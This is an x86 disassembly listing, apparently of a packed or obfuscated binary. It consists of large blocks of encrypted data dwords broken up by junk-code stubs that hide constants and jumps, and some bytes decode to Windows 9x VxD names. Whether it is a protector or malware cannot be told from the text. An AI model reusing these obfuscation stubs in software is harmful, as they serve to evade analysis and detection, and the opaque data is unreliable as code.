		dd 0C46A0B78h, 52F47D51h, 773082B4h, 0B808E15h,	7A543982h
		dd 7624913Eh, 6298ED8Ah, 4AF66201h, 0D1790677h,	0DAA6A341h
		dd 24C9550Ch, 5CD87476h, 9825F55Dh, 0A893FB99h,	2A1B73E2h
		dd 5B7C7011h, 52233EC1h, 0B2FDFD55h, 0EBF68923h, 0F8841889h
		dd 793651F9h, 0DA611A82h, 0ECF27F11h, 713E4F5Ah, 0C0DF60F0h
		dd 0F05CF2B3h, 16Ah, 5AE42D9h, 3318500Eh, 0DBA476A4h, 8AEAB49h
		dd 57E9807Fh, 0BFF9A9ACh, 0D762432h, 325E1A74h,	0D6A7624h
		dd 6856268Ch, 0E980C9AAh, 3C33BE52h, 24332A6Eh,	0D4AB5676h
		dd 0CDAAC6A7h, 332E7765h, 0FFBC7624h, 5629D468h, 1B80E780h
		dd 0B9C7E05Bh, 58B8DD7Fh, 0C67CB9C3h, 1D935A4Fh, 3562A6A1h
		dd 0BAFB8889h, 0F5F2953Dh, 4E1DE79Ch, 0F910E75Bh, 92793651h
		dd 48D8E11Ah, 43h, 0FBDB6821h, 0D7A69FEh, 2EC21B6Ch, 0B91BAC02h
		dd 80B8DD7Fh, 2432672Eh, 53347376h, 0E2851B80h,	47D970E7h
		dd 0ABC8B9BCh, 2432BDFBh, 0C66C0B76h, 806FF4BDh, 32D395E9h
		dd 86E17624h, 1D8230h, 0B9010000h, 80B8DD7Fh, 2432672Eh
		dd 6D367576h, 0AC57E980h, 73DBD8A9h, 0E7E28550h, 796FF482h
		dd 0D8E11A92h, 1AF68801h, 742C7402h, 3F7EDEh, 0B9A50000h
		dd 80BDC67Ch, 0D36B030Bh, 245FBDFBh, 1B6C0B76h,	0F35B0D89h
		dd 0BD094C22h, 0D2DD7624h, 851B80B1h, 0F499FAFFh, 617C039Dh
		dd 0EC80BEC9h, 3F795546h, 8D762433h, 0AFCD65E2h, 2Bh, 5AEC8024h
		dd 2A17E74Fh, 6FE6FB7Bh, 2432591Fh, 9B186776h, 672E80FEh
		dd 75762432h, 1B806D36h, 4140EC80h, 8E8B29E9h, 676FF4E5h
		dd 0FFFFFE8Bh, 6127770Eh, 8F762432h, 129DEFE2h,	7EB92BBCh
		dd 217549DCh, 777C6F7Ch, 1C9D981Bh, 494CF789h, 4CE37A2Bh
		dd 6F7B3672h, 0B5E5827Ch, 7C6F7AF3h, 0B0EB5C1h,	6C48248Ah
		dd 296F3FD6h, 0B77C6F7Bh, 6F2BBBC8h, 0E67C6F7Ah, 6A91B774h
		dd 0B0DBAA5Ah, 10h, 32FD47EBh, 882B7624h, 0C151EF8Dh, 0B6000000h
		dd 49DC7EB9h, 6C4F9875h, 1C72097Ch, 7C6C4E5Ch, 0BA70F68h
		dd 0CE62F96Ch, 8882E25h, 920E6A6Dh, 2D631017h, 43DD4812h
		dd 0C1D4A5A0h, 6C4EABEDh, 0F17E397Ch, 90E2BC59h, 0D882B797h
		dd 0C65348DFh, 7C37F219h, 846BFC89h, 8BA43989h,	53DE7223h
		dd 0C5603C5Ch, 0E0DBB5C2h, 0BA14AB3Ah, 762826FEh, 9005ADCAh
		dd 0C5C067F9h, 715FF7B4h, 7C73697Ah, 76328C23h,	427C6CE8h
		dd 82ED8D25h, 0FFFA7913h, 6762019Dh, 5CB4B5D8h,	9E0C830Ch
		dd 7ECh, 0B0D0AF56h, 395B5EE4h,	0ADCFDA6Dh, 107071F1h
		dd 9BF9F884h, 87231B78h, 14AAE682h, 0B23F6B09h,	22C1DDBFh
		dd 0F78E4527h, 6F92E1A7h, 0CE59EF7Ch, 8AFBFE85h, 4E0A64FBh
		dd 9A762433h, 1F6C630Eh, 2886119Eh, 76243270h, 0FF9B337Ch
		dd 7A007174h, 12915B00h, 3EE57517h, 0ADDDE10Eh,	692F7F16h
		dd 7776243Eh, 3F1E5A08h, 0CDAA7624h, 2DF965h, 0B9220000h
		dd 7549DC7Eh, 7C6C3BECh, 306846DDh, 0BC7C6C3Bh,	0C3405FE0h
		dd 53204F6Bh, 6C3AC183h, 61DE887Ch, 0A906DC47h,	7A06DBh
		dd 0B99D0000h, 0B749DC7Eh, 27443510h, 0A20809B5h, 20C05CF3h
		dd 33B0B732h, 0CF8D2542h, 7C6C5A4Ah, 0E27EE996h, 0CEED4540h
		dd 0A33231B2h, 5F19750Ch, 6D7C6C59h, 5A145402h,	0D1A07C6Ch
		dd 6C59BBFDh, 0E16E097Ch, 41FD3394h, 4FE73AE5h,	0D9DC6733h
		dd 3231B24Eh, 0E18E2445h, 5FF694AFh, 0B4ACAE0Fh, 36881F82h
		dd 76247372h, 1157277Eh, 0DF762474h, 0FFFB53D0h, 0EB8B25B0h
		dd 83204016h, 0D395E980h, 0E1762432h, 8B3C3086h, 0FAB95952h
		dd 536F91FFh, 641823FBh, 245B4E0Ah, 9C1D9A76h, 53DE7209h
		dd 95D8F65Ch, 347C6C6Ah, 0B41A1D98h, 50EC7B04h,	0EC7CD2D5h
		dd 0E2A4D972h, 18C2FD3Ch, 0AE48318Dh, 0F89442AAh, 6E0F7C7Bh
		dd 33C90E1h, 16D5CE59h,	8C0E2231h, 0C19D78DEh, 3CE2773Dh
		dd 0F0F7720Eh, 2C4CE283h, 0BB38D443h, 2BC5DCBCh, 75258D88h
		dd 4F74CBCEh, 794C6737h, 6520886h, 49E80000h, 0F47E2A76h
		dd 600793F1h, 0EB8B0765h, 921E8A16h, 81D6FD9Fh,	5C3C3DB9h
		dd 0C1A3BE40h, 4B2928D5h, 0B3D1D45Fh, 77318D20h, 457C6F94h
		dd 0FE8520E3h, 0D94C4BE8h, 2432C385h, 0E9961176h, 68770898h
		dd 0F597A008h, 0B131CB62h, 41543344h, 53D03C10h, 0D785DDFBh
		dd 0A4C37C6Fh, 2722C5D7h, 5A56E198h, 0AA58D70Ch, 5E8h
		dd 0BCDCD352h, 254742E0h, 0A9CBD669h, 1C7C75FDh, 87E5E480h
		dd 832F177Ch, 10B6E28Eh, 0BE3B5735h, 26CDD9BBh,	0FB924123h
		dd 6F94E5A3h, 0BA6DF37Ch, 49DC7EB9h, 329CDCB2h,	4F287624h
		dd 0FE502EE7h, 4A7C6F7Bh, 0CABBB63Eh, 485F2CADh, 0A10908B4h
		dd 0C5606EF1h, 0D35051D1h, 542BD6A2h, 0D89756D7h, 0EE0C5A22h
		dd 57E8131h, 3DC40000h,	0A84A4622h, 4CD3CFADh, 0DF673351h
		dd 4EEAA6C2h, 0AD0A294Bh, 88E8E995h, 0FD9F8A1Ch, 670504A1h
		dd 0EF8D882Bh, 4B0D6174h, 997C6F96h, 0E9805CC7h, 2432D395h
		dd 0ED86E176h, 0B7473831h, 0CDA109FFh, 0E1BD28F2h, 7C701389h
		dd 2A24BBD7h, 0BCFD8A89h, 0B7324E3Fh, 25A2C3B0h, 159F31A4h
		dd 0AC026310h, 0FFEA7D0Fh, 599B2540h, 0FE6C230Ch, 50Ch
		dd 0D0B08F36h, 593B3EC4h, 0CDAFBA4Dh, 305051D1h, 0BBD9D864h
		dd 67033B98h, 0F48A0662h, 921F8BE9h, 2A1FD9Fh, 0D7EE6507h
		dd 6F95C187h, 0EEB90F7Ch, 4DE8FE85h, 0CC13A8BEh, 0F8C4C3Ch
		dd 0EDA6F18Eh, 1999453Ah, 790A6B18h, 882EC29Eh,	247A6B08h
		dd 76250764h, 0F9B63770h, 724CE3F2h, 76250836h,	0CD77E582h
		dd 0B36862C8h, 58CFCA69h, 0F306C8C1h, 0F52BD32h, 2478195Fh
		dd 72D8A776h, 0BAB93A56h, 2A14762Bh, 85AD4320h,	1DFCBC12h
		dd 0AFC87625h, 9BDA6807h, 0D876251Dh, 78FB219Eh, 84BF1F7Dh
		dd 2BBD4FC6h, 0A1FD983Eh, 7C7066C1h, 3BD5402Fh,	0D08AAA4h
		dd 0DD6F268Ch, 65315356h, 0E2AADBDEh, 8A433D9h,	53C26877h
		dd 0BB1EEA7Bh, 0E6713E82h, 0A2E6B84Fh, 2E76251Dh, 1D571141h
		dd 0EE657625h, 1EBD5CDh, 0EC42C3A3h, 0E9EC9729h, 91941F8Bh
		dd 0C993ACE0h, 58E5005Eh, 0DFD47C6Dh, 9C1959BAh, 0BD5BE89Dh
		dd 0C65237Bh, 34737C6Dh, 14931FB7h, 5C90F2A9h, 0DB4BC40Ch
		dd 3F0h, 0B4D4AB4Ah, 3D5F5AD8h,	0A1C3DE61h, 14744DF5h
		dd 9FFDFC78h, 9B271F74h, 18AEFA86h, 0B6336F0Dh,	3EC5D1B3h
		dd 0F38A593Bh, 6F96DD9Bh, 0B255EB7Ch, 4E41EC80h, 8C8B28E8h
		dd 1506ADFFh, 2432FFB9h, 25A2CD76h, 32B24E47h, 89214E3Fh
		dd 0D5400A35h, 6C4554F9h, 0F3E3907Ch, 2A5A015Dh, 7591739Eh
		dd 0D0961000h, 0D0942253h, 7B7C6C34h, 0CF3410CFh, 15DBA910h
		dd 4Bh,	0CF7EB98Eh, 35A02124h, 6C405059h, 63009C7Ch, 0E9961764h
		dd 3F8ACA98h, 15C17C6Ch, 3857E56h, 7F16DBA9h, 33D296E8h
		dd 911E7C6Ch, 6C3387C1h, 3613B57Ch, 49953D7Ah, 0B5h, 83086B20h
		dd 1BDD22Ch, 9512637Eh,	8025BE14h, 32D395E9h, 86E17624h
		dd 0C4C36030h, 5859E5B7h, 0DFDA592Bh, 5251D2AEh, 371F9836h
		dd 0A84B7624h, 50D3CFADh, 0BA512455h, 2436A4E4h, 0E5773076h
		dd 1CF04643h, 90EE7923h, 7C6C66CDh, 9AF29E19h, 126CFBA1h
		dd 82B7021Dh, 0BC53C2ADh, 2A809F20h, 0ADCFC26Eh, 0C97475F1h
		dd 12A2DB98h, 0C941F1AEh, 73000002h, 19DFFF2h, 8E1A6663h
		dd 128EEAF9h, 0A1FD9F92h, 5F640405h, 0AFA24E76h, 524FD1CDh
		dd 0D8DF5A36h, 4047ECB8h, 421CB320h, 7C6F9806h,	859B0CD2h
		dd 0C98F8F9h, 0BCF56067h, 40EF06C9h, 9E2A8010h,	0DC7EB9F5h
		dd 59885049h, 0B2A432ACh, 9425791Ch, 407C6D33h,	4A3F5627h
		dd 7ABBEF7Dh, 0F6E44A0Ah, 7C6CBFAEh, 527229A5h,	0DBA983A9h
		dd 0E673h, 0B80A800h, 821877DCh, 2CEC4231h, 0A1F38087h
		dd 0FF910405h, 62037075h, 0DC7251F6h, 9D880FDFh, 0B3307624h
		dd 136821B4h, 1478211Eh, 0CFC6E248h, 0B6226638h, 0C1AE7624h
		dd 1C0AA969h, 85E29396h, 0B5FCBC12h, 0AFC87624h, 9D25B72Eh
		dd 0CEA0F784h, 7624B58Ah, 2A82956h, 0F98E2275h,	8C1C9DEAh
		dd 0F549E1E0h, 0FE9500CAh, 262D1285h, 33636E61h, 76245B75h
		dd 39532443h, 0B8C77FB0h, 8AE4B119h, 7C6D41C3h,	90F898E7h
		dd 7550F6A7h, 48F56704h, 15DC849h, 82B7C4AFh, 8923B2FDh
		dd 108CECEDh, 5D2A9594h, 5B12A319h, 1AA36A4h, 11900000h
		dd 9C26721Eh, 18AFFB99h, 0B3336F0Dh, 3AC6D2BEh,	593E4527h
		dd 0A4C4C561h, 294B56E8h, 93F1F07Dh, 1B797C07h,	1F593548h
		dd 0AD7C6F9Ah, 0F985881Bh, 670C98F8h, 85630060h, 0FE8AFBFEh
		dd 83127E75h, 3E4F4AE9h, 40C1DC62h, 0E5FECF37h,	47EF92DDh
		dd 970ECCF7h, 6C403AC7h, 1E89F67Ch, 90E1FC82h, 6E2A8413h
		dd 7A7C6C3Fh, 48E6953Dh, 7C6C400Ch, 0F0D48B47h,	0DBA91F0Bh
		dd 3AD1h, 4D21B800h, 7C6C380Bh,	6F78DED9h, 0F4CA7EB9h
		dd 762432B4h, 9EF06700h, 762432DAh, 8D1899E6h, 6C4DB431h
		dd 1667007Ch, 6C4DFCB8h, 249B577Ch, 0A9151B00h,	39C1DBh
		dd 475A0000h, 762432FEh, 0F86F2D16h, 334B0D61h,	0BB9E7624h
		dd 2D35F9EAh, 14BAC5B7h, 0B056EA81h, 6FC7A4D5h,	6CCCB461h
		dd 2547207Ch, 5554D06Ch, 12FCB324h, 0D39C1138h,	0B9EBFC52h
		dd 7549DC7Eh, 7C6C6414h, 0D8760760h, 7C6C629Ch,	5B2837C8h
		dd 0D1AEAB49h, 1BC1BE30h, 0F419869Bh, 78A3857Ah, 0A2DBA922h
		dd 18h,	44EC80F9h, 0ADF7E54Dh, 0E7762432h, 0D7A73EDCh
		dd 7C6C611Eh, 24CFADCAh, 49DC7EB9h, 6F7CB575h, 0F164037Ch
		dd 74DAD75Fh, 3B7B3047h, 1A099EEEh, 0A2042269h,	0E0E78C0Ch
		dd 7E6F1480h, 6FC66820h, 8A0B747Ch, 321F6DFDh, 0EFCA842h
		dd 15158E51h, 33F82386h, 0DB662C8h, 970A4E20h, 0A9D6A3BDh
		dd 0C15E8DCh, 0B63710B5h, 3E35BEEAh, 0BEB33341h, 0D79446C1h
		dd 163660Dh, 0A1FDEE95h, 0A3BDB9E7h, 7C0D8AF5h,	3CEh, 0DA414500h
		dd 94E5FC85h, 0B787F04h, 8CFDFC79h, 0E7F6AFCh, 82F3F672h
		dd 6774AF6h, 86F7CA6Ah,	397655EAh, 0BFCCC96Bh, 5A7068B9h
		dd 0C890000h, 81E18924h, 4C1h, 4E98300h, 5C240C87h, 81E68956h
		dd 4C6h, 4EE8300h, 5C243487h, 57240C89h, 0C781E789h, 4
		dd 4EF81h, 3C870000h, 14895C24h, 0BE565324h, 19E94873h
		dd 58CE8146h, 811F3B7Ch, 0A777BFCEh, 26CE812Eh,	8104DD5Bh
		dd 0DF3009EEh, 5EF38931h, 2AFA6BB9h, 5BD901F8h,	24148B54h
		dd 5304C483h, 8BE56h, 0F3890000h, 89D3015Eh, 148B5B0Bh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_541331
; ---------------------------------------------------------------------------
		dd 68E4B8D0h, 0C503064Bh, 0D3E6E0FFh, 361D5583h, 0F383066Fh
		dd 45A716ECh, 1CF2A26h,	0F5B33C30h, 0BECC5C37h,	213C31F2h
		dd 523F24CAh, 30A640B3h, 94FF4422h, 80560A6Fh, 57E04C6h
		dd 0B3406C62h, 1F80508h, 83A27C7Bh, 73AC1BFBh, 53EE65ABh
		dd 296A3194h, 80B73603h, 0B8464BD3h, 0C78C488Ch, 35E3AB4h
		dd 11E82AFEh, 1E000000h, 0F4D1F33Bh, 9F10DD5Bh,	424665B7h
		dd 4761105Fh, 0EE960h, 33F40000h, 0BCFD880Dh, 0F470AFA9h
		dd 822D09A8h, 61D7BF0Fh, 9E9605Bh, 43000000h, 12C8CB34h
		dd 0C3FB4873h, 14E9h, 7D727100h, 5C69F25Ch, 8B80163Eh
		dd 0E47FDBEFh, 2FD0B3B3h, 0C3816100h, 67D4h, 63BEC18Bh
		dd 8139D466h, 0D47FA3F6h, 0DEB96639h, 0E8138BB9h, 0Ch
		dd 498F2C32h, 0DDB15E3h, 4F2B03C0h, 585ADD80h, 8F24F281h
		dd 0A6B955E2h, 81219589h, 1283A6EAh, 0D1816618h, 0F281A21Ah
		dd 6BA9ADC6h, 5BBF6651h, 13895F69h, 6E8h, 0B2F5DA00h, 5F04AC40h
		dd 6604EB83h, 814DD1BFh, 1EEh, 0A6850F00h, 60FFFFFFh, 68B0Fh
		dd 820F0000h, 0
		dd 4269EE81h, 0EB614F42h, 5AAD4B04h, 611E95Bh, 0DD640000h
		dd 48EAA6C2h, 0EC732F4Dh, 7F0793F1h, 0EE8A0662h, 0D6A89EBh
		dd 0E8888935h, 5D3F2ABCh, 0C7A5A441h, 4F2D28CBh, 0EBAD0194h
		dd 0F97C6F9Ch, 0FE85BC67h, 0BA376CFBh, 3C3FE59h, 12EF9705h
		dd 1AE0465h, 96F2F773h,	0D7A79FAh, 80F1F47Fh, 588372F0h
		dd 99E9C2Ch, 0C1226638h, 0C1AE7624h, 504FD040h,	0D38FA2D3h
		dd 383FC46Ch, 0BDA14C58h, 84852137h, 7809B6F7h,	0C2DEBA3Bh
		dd 0A7AC3327h, 24C091D7h, 0D3505F76h, 0B1572552h, 542520C7h
		dd 3ED9D657h, 9825CFBCh, 4AFFB99h, 701D9601h, 33CA84B8h
		dd 7007B41Ah, 7F105C3Bh, 0E380F1F4h, 0F492E296h, 2437DE9Ah
		dd 0C8DEA76h, 376D28A6h, 68E27624h, 0B6E95B3h, 62B4DDE1h
		dd 0EF000000h, 8AFBFE85h, 24327A3Ch, 0C9C2D576h, 0D911D1E3h
		dd 0AC9EEB3Dh, 956CC845h, 27E4D67Ch, 0E10C1A01h, 8C0DDh
		dd 17A90000h, 9819966Bh, 0FF859132h, 75FF8DFAh,	554EE570h
		dd 9E6BDF4Dh, 38702E92h, 84762438h, 542453FBh, 83FB21ACh
		dd 2045A039h, 239FD2A3h, 0B0EB47Ch, 0A0B63D69h,	0E4840504h
		dd 0F8F9855Fh, 7E7BF98Bh, 58077901h, 77151490h,	0EC9D981Bh
		dd 6F1C0B9Ch, 0E390911Dh, 64151491h, 0E92E9D4Dh, 36189104h
		dd 4A4F429Ch, 60E1FC82h, 0FD2B90CAh, 0DDE15E16h, 100CCh
		dd 0F9855700h, 66F98BF8h, 0E87E0A7Bh, 74FC8CFDh, 41CEC56Eh
		dd 3BDF8730h, 0EEFEDE15h, 0D91ECD81h, 92EC8312h, 7624CBD6h
		dd 7D3B93E2h, 4B7624CBh, 0AB3DAF2Ch, 0AA0C1BEh,	0A844EB50h
		dd 317E0F0Ah, 7C7DF999h, 0E5E4801Ch, 24433972h,	0FE08EE71h
		dd 0B0CB8485h, 369C7D4Ch, 757EEB9h, 76244E41h, 0C993148Fh
		dd 787068A1h, 3FC753FBh, 0BB475522h, 3FBBC9A6h,	0BC2C4D3Ah
		dd 0F492536h, 0DD76245Ah, 0B32455D2h, 1BA9E48Bh, 7B35AD84h
		dd 30A24F84h, 4B65D4Bh,	996CDDE1h, 45000000h, 9C0B0EABh
		dd 245086C2h, 0FD555276h, 95E980EAh, 762432D3h,	603086E1h
		dd 0E4B4C5C4h, 38CF4659h, 24332266h, 0ABA64E76h, 0C0AFDDDAh
		dd 0D9CC4D6Ah, 0C2F7B6A0h, 1641BE33h, 0D2DDD6C9h, 0EEAA041Ah
		dd 0FA7624AFh, 0AC3CBDh, 9B337001h, 19B37A21h, 78308E99h
		dd 447624AFh, 8414BA3Bh, 4A49EAF8h, 9DFF7C3Dh, 0FAFF85F6h
		dd 32783D8Dh, 4AC7624h,	4CB7C0Dh, 0C3243045h, 0B68934A4h
		dd 2F9C5EF9h, 9E4D0116h, 6A005A4Fh, 67126534h, 8B44BFCFh
		dd 19EDDE1h, 5000000h, 48F4E285h, 0FA7B3849h, 0DD66FA8Dh
		dd 62C8A9C6h, 79360DB6h, 0F889942Bh, 7F0C0BA8h,	0D98674h
		dd 0E236F565h, 4A224E5Dh, 0A53CAB71h, 32F8B00Eh, 0BBC47624h
		dd 47144513h, 53C07C6Ch, 9BCDDEA7h, 0DFAC2D8Dh,	412326CDh
		dd 0BB9A5B50h, 0DFB00DDEh, 1D189B77h, 1A98DE6Ch, 64337C6Dh
		dd 0C760B12Fh, 0C56D065Bh, 7709D48Bh, 0F484F5D0h, 7D3A4B4Eh
		dd 39BA56FCh, 0EDB9C7CEh, 31A34B21h, 6B09B6B3h,	0C0B1B43Fh
		dd 473433B0h, 3A1D963Fh, 17ED7E70h, 0D7DD150Bh,	686C6EA2h
		dd 6C5E5216h, 90119E7Ch, 14DB803Ah, 8DFAFD78h, 70834418h
		dd 1D9A7D4Ah, 5B5EE5B5h, 0FDD16839h, 7C6C4DBBh,	76F26E09h
		dd 58C3DB73h, 82DBA915h, 182h, 95E98019h, 762432D3h, 88C76CE6h
		dd 0B8C867F8h, 304140ECh, 805CF273h, 2C8215B7h,	7C6C70E9h
		dd 8C23B2FDh, 6C707632h, 8D25427Ch, 121192EEh, 89991A76h
		dd 7A7FFBE9h, 0B0E97CFDh, 0F940E734h, 5463CB8Ch, 0EABBF44h
		dd 862E7A0Bh, 0FC8D0A8Bh, 0C817D4A6h, 0C7B49334h, 0E38010A6h
		dd 0FB3871E4h, 5F52DE74h, 0CB270B2Ah, 6CA3B5F3h, 0E764037Ch
		dd 0CB62334Fh, 6CA3B5F3h, 0FD8E047Ch, 51358FAAh, 0DEEE4423h
		dd 0DBA96C25h, 6AFFh, 0B93AD600h, 8D982EBAh, 0E9808225h
		dd 2432D395h, 0F295E176h, 6CC09617h, 4B23B250h,	7624335Dh
		dd 0E4A4FA8Bh, 0F0762432h, 0E97936B7h, 762432AFh, 225356DDh
		dd 333D7B53h, 0EC8B7624h, 96E8F17Ch, 762432D2h,	6310911Eh
		dd 4DD8238h, 0B65E0DBDh, 15DC88Ah, 76243397h, 0F0AA9C5h
		dd 0F985178Eh, 44EA8BF8h, 8C8A24h, 0B9090000h, 7549DC7Eh
		dd 7C6C4EBCh, 407856EDh, 8C7C6C4Eh, 402F4BE3h, 0DE2F6433h
		dd 6CCC1A1Eh, 59DAB61Ch, 0C1623E5Ah, 0E2BC53C2h, 7C6C5DA6h
		dd 0DEDD7532h, 0B69335C7h, 5EF1B220h, 0A02A7C6Ch, 0B7B231FBh
		dd 10BA85D5h, 0C8432985h, 0C6A182B7h, 3130BD4Fh, 0F18B1A99h
		dd 7D007574h, 0AB7FBB68h, 8A29E941h, 9B57FE8Fh,	0DC67F924h
		dd 0AC2D28CAh, 0A478DEDFh, 0CF66F19Bh, 0C0B1B03Dh, 0DF4D0BA3h
		dd 57C7389h, 8BDA6D8Eh,	0A724A1A4h, 7EB93EC5h, 77549DCh
		dd 0B87C6F9Eh, 0EE969C24h, 84056213h, 7F5C39F3h, 67CFF4FDh
		dd 0BFB23F4Bh, 0F380812Dh, 344435B2h, 61B9B8Fh,	0E98B0869h
		dd 423336BDh, 81B1B8F4h, 821EB5D9h, 1495E2E1h, 905F0CBEh
		dd 0B1E3A5F9h, 0B6F1D17Eh, 0F4F37020h, 7C7BF894h, 0FCF57D0Fh
		dd 954A088Fh, 0C3A1A44Fh, 58292CD7h, 3AAh, 0DA412900h
		dd 94E5FC85h, 0B787F04h, 8CFDFC79h, 0E7F6AFCh, 82F3F672h
		dd 6774AF6h, 86F7CA6Ah,	397655EAh, 0BFCCC96Bh, 0E18951B9h
		dd 4C181h, 0BB530000h, 4, 875BD929h, 685C240Ch,	73BAh
		db 89h,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		push	12F353E0h
		pop	ebx
		dec	ebx
		push	ecx
		mov	ecx, 1EA24315h
		or	ecx, 2A43B48h
		shl	ecx, 4
		not	ecx
		shr	ecx, 2
		sub	ecx, 659429B2h
		add	ecx, 53862E29h
		add	ebx, ecx
		pop	ecx
		mov	edi, ebx
		pop	ebx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 8
		add	eax, edx
		mov	[eax], edi
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_541331
; ---------------------------------------------------------------------------
		db 98h
		dd 0B8452AA5h, 64B705Ch, 0E0FFC503h, 3979B755h,	30ABFCE4h
		dd 35E87411h, 4268408Ch, 6A43CE93h, 59DBDDCFh, 5AB6094Fh
		dd 4D55DB1Dh, 6664C2B2h, 13F5B7B8h, 66504C2Dh, 60115BFBh
		dd 4FDF3C76h, 2104855Eh, 2A1667F4h, 750EBB2Eh, 354E9794h
		dd 600BE693h, 464934EBh, 52474D53h, 4B562020h, 20202044h
		dd 4D562020h, 2020204Dh, 57562020h, 32334E49h, 58562020h
		dd 52444C44h, 2020h, 2 dup(0)
		dd 99E90000h, 60000007h, 6061F8F9h, 0CE960h, 571F0000h
		dd 0BA8FC788h, 51354D7Fh, 72B0BC94h, 6D85C761h,	64B71h
		dd 0E9000000h, 11h, 0FC907BDDh,	0C3BD48D5h, 96B0301Ch
		dd 0FCC79F60h, 6AC68B22h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 8A98C356h, 0E5C804A5h
		dd 1860Fh, 0FF90000h, 8E9D8B7h,	7D000000h, 3B9CFB63h, 0C1D46CA9h
		dd 6A10E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 43B374C3h, 1890Fh, 66F90000h, 6A08C8C1h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0C1F9C352h, 2ADD052Bh, 0D6B4AFEDh, 8D0F60F9h
		dd 6, 0E1DF81h,	8961052Fh, 4B717185h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 60F4E3B2h, 7E9h, 0A6840100h,	406420A6h, 0BE68166h, 0C166617Ch
		dd 6A08CBh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0A2BEE3C3h, 2CA78A82h, 83F5C332h,	850F40FBh
		dd 6Bh,	7800Fh,	8B0F0000h, 1, 45BD8DFCh, 6A064B71h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 6A0EC357h, 0E9FC2D57h, 1B6h,	16870Fh, 11E90000h, 0A9000000h
		dd 0A8F470AFh, 5B822D09h, 9C066C93h, 0B7AF6654h, 0BE960h
		dd 907E0000h, 0CC7BE979h, 0F2442EE4h, 0EB816681h, 8361BE9Fh
		dd 850F0DFBh, 7Eh, 0DABF0F60h, 2850Fh, 0CB8B0000h, 4DBD8D61h
		dd 6A064B71h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 28ABC353h, 20F8DE34h, 0F96D46C6h
		dd 13DE9h, 5E86000h, 9000000h, 57994A95h, 0FE8h, 1C8BAF00h
		dd 1633E7B8h, 0AEA823A3h, 834C277h, 0D080585Bh,	0E9606191h
		dd 0Ah,	73E3BFC1h, 0C3B56DABh, 820FBF54h, 5, 0C609E7BBh
		dd 0FB836141h, 64850F01h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0E18CC350h
		dd 79B617F5h, 0D8C0Fh, 8E90000h, 4B000000h, 931CD428h
		dd 8D58FB5Fh, 4B7155BDh, 5E906h, 564A0000h, 0FCDAB13h
		dd 1081h, 0A8D0F00h, 0E9000000h, 5, 0EAFDD6EFh,	94E933h
		dd 0B7600000h, 8361F556h, 850F2AFBh, 61h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Dh, 4DC35545h, 6D0DB6D3h
		dd 0F4466F97h, 0AE956h,	0C6520000h, 66EF60h, 0B84A2A68h
		dd 715DBD8Dh, 0F860064Bh, 44E961h, 840F0000h, 19h, 14E9h
		dd 0BF15DF00h, 17C28017h, 72F442ADh, 78A99F22h,	0F88B9B93h
		dd 27FB83C7h, 2CF850Fh,	60600000h, 8C0Fh, 81660000h, 6106F0E2h
		dd 92EA8166h, 0BD8D6164h, 64B7165h, 0BD89F8F8h,	64B7175h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0C6C35141h
		dd 0DA213421h, 0F8D7A225h, 81665060h, 5BE389CFh, 0C88C6661h
		dd 1F8E0Fh, 820F0000h, 19h, 14E9h, 264E4200h, 7852BF6Ah
		dd 72FADF2h, 0B4D78D39h, 0B09F331Eh, 7E92Fh, 67ED0000h
		dd 7610BEE1h, 60032495h, 0F6C78166h, 11E8D8h, 493B0000h
		dd 40EC2307h, 0C517AAA6h, 0FFD1AC5Bh, 80D3A6EBh, 615F04D9h
		dd 850FC00Ah, 188h, 98B58DFCh, 0F064B77h, 78Ah,	58516000h
		dd 61D68B66h, 8820Fh, 850F0000h, 2, 858B6160h, 64B7892h
		dd 5E9h, 0DDB38E00h, 0F920C38h,	1089h, 0BB666000h, 5E90193h
		dd 8D000000h, 646A7D88h, 52505061h, 6E9h, 390D4A00h, 0F479D2Bh
		dd 50525031h, 5A310F52h, 0E9310F58h, 0Bh, 51FDC756h, 749A87ACh
		dd 5A935FFBh, 92585A58h, 0C860Fh, 66600000h, 7669F281h
		dd 8ACF8166h, 10F61F7h,	0FFE244Ch, 0C83h, 7E900h, 0FF850000h
		dd 80D8033Fh, 6A5A3Dh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 77361AC3h, 1A5F6C5Ah, 5E960h, 0CFC90000h
		dd 527F4525h, 0BE9h, 4D3EB500h,	0C3D68D7Eh, 0CB777D2Fh
		dd 0C283615Eh, 0EE86024h, 8B000000h, 0FB5941D6h, 0BA142982h
		dd 8CA7AA96h, 51DC80C9h, 12E95Ah, 973A0000h, 38C3B962h
		dd 736A02h, 0D5A45A3Fh,	0C7ABBD20h, 72896661h, 0CEC1F8FCh
		dd 0DE9F810h, 18000000h, 0A4C5A6C5h, 273152EEh,	59F1B22Ch
		dd 2728966h, 6A04CDF9h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0E161C356h,	0A9F44F30h
		dd 0F8B3FB7h, 0A85h, 0C68B6000h, 810Fh,	0E9610000h, 9Eh
